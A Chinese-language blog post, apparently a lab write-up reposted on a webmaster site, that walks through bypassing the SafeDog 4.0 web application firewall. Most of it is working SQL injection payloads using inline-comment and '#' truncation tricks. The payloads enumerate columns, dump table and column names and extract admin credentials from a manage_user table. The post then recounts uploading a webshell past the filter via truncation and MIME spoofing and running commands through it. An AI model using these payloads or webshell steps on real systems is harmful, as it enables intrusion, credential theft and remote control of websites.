安全狗4.0绕过
打开靶场,正常访问为此页面
尝试测试注入点,打入payload直接被狗给拦截了。
自此过狗开始,首先试一下之前学的内联注释绕过,/*!12345and*/发现被拦截了,这里尝试f
sql注入注入点绕过 打开靶场,正常访问为此页面 尝试测试注入点,打入payload直接被狗给拦截了。 自此过狗开始,首先试一下之前学的内联注释绕过,/*!12345and*/发现被拦截了,这里尝试fuzz一下,发现更改内联注释内容还可以绕过成功。 通过以下语句绕过成功 *!10444and*/1=1 内联注释绕过的原理: /*!xxxxx*/内联注释的内容数字大于版本号时会将内容注释掉,当小于版本号时仍会被mysql执行。内容需5位数,经过测试发现,数字中有4会更可能绕过成功!所以/*!12345and*/ 1=1等价于and 1=1 内联查询绕过 然后通过联合注入判断回显位置,但是在这一环节中自己尝试绕过很久没有成功,H老师甩我一个绕过的骚姿势,有一说一,着实牛逼。 首先通过fuzz发现没有过滤#字符。 然后通过like "[%23]"语句进行绕过 id=-13 like "[%23]" /*!10444union%0aselect*/ --+ 绕过原理:在mysql中为注释符,会注释掉#后面的语句。 同时like在mysql中是一个筛选的作用,那么以下语句的含义就是,先查询表中id=-13且存在#的数据(查询结果为空),执行后面的uinon select语句。 所以猜测当安全狗识别到查询语句有#,截断数据#后的语句不进行检查,然后发给服务器,但是mysql会执行该语句,从而达到绕过。 id=-13 like "[%23]" /*!10444union%0aselect*/--+ 注:经过验证上述的猜测不完全对,安全狗对#截断后的数据还会做检查,只不过不够严谨,所以在union select中间再加入%0a换行即可绕过。 然后通过穷举的方式找出回显列数,经过测试发现,共有10列,且2,6,7,8,10可以回显数据。 id=-13 like "[%23]" /*!10444union%0aselect*/1 --+ id=-13 like "[%23]" /*!10444union%0aselect*/1,2 --+ id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3 --+ id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4 --+ id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5 --+ id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6 --+ id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7 --+ id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8 --+ id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8,9 --+ id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8,9,10 --+ 通过绕过语句拿下数据库,这里对database()函数做了绕过,函数中间加入/*!10444*/,这里安全狗的规则猜测是database和()不能在一起。 id=-13 like "[%23]" /*!10444union%0aselect*/1,database(/*!10444*/),3,4,5,6,7,8,9,10 --+ 获取数据 通过上述的绕过方式,已经拿到数据库了,本以为可以轻松结束战斗拿到账号密码,没想到再获取数据的过程中又卡了我一个晚上,还是太菜了~ 通过暴库语句可以查询到数据库(在sqllab靶场确定语句没有问题),也没有触发安全狗的规则,但是无法爆出表名。 爆表 id=-13 like "[%23]" /*!10444union%0aselect*/ 1,2,3,4,5,6,group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10444%0a*/),8,9,10 --+ 于是乎我打开之前打过的xycms靶场,测试同样的语句,回显跟实验室靶场相同无法获取表名,但是之前打靶场的时候使用sqlmap可以把数据跑出来。 百思不得其姐下把sqlmap代理到burp,抓包看看sqlmap到底做了什么操作竟然能把数据给搞出来。结果是sqlmap把表名爆出来了,但burp抓到的sqlmap响应包中同样没有数据,离谱\==。 这里猜测网站对数据库的操作做了限制,或者对group_concat()语句做了限制,但是为什么sqlmap可以跑出来没有找到原因。 第二天,潘神给了个建议,不用group_concat直接select查字段试试,果然,成了! id=-13 like "[%23]" /*!10444union%0aselect*/1,table_name,3,4,5,6,7,8,9,10 from/*%23*/information_schema.tables where table_schema=database(/*!10444%0a*/)--+ 注:from后面加如/*%23*/的方式绕过安全狗 然后查字段,查值,最后拿到账号密码。 爆列 id=-13 like "[%23]" /*!10440union%0aselect*/ 1,column_name,3,4,5,6,7,8,9,10 from/*%23*/information_schema.columns where table_schema=database(/*!10444%0a*/) /*!10444and*/ table_name='manage_user' limit 1,2--+ 爆值 id=-13 like "[%23]" /*!10440union%0aselect*/ 1,2,3,4,5,m_name,m_pwd,8,9,10 /*!10444from*/ /*%23*/manage_user --+ 通过md5解密拿到密码admin 文件上传 看了很多篇文件上传绕过文章,尝试了很多种方法,脏数据填充、长文件名多种绕过方式,但都没绕过被拦截了,只成功了这一种。 截断绕过 首先搞个一句话木马 上传一句话木马被安全狗拦截 采用截断的方式绕过安全够,在burp中抓包,然后将做url解码 但上传失败,网站显示文件类型不正确,网站本身也做了MIME文件校验。 这里修改文件类型为png,再次上传,上传成功,成功绕过! 使用冰蝎连接马子网站安全狗,但是这里发现连接失败。 访问该文件时,发现马儿被安全狗给拦截了 再上传一个免杀的冰蝎马儿,添加截断,修改文件类型、最后上传连接成功,并执行命令。 关 注 有 礼 (编辑:92站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |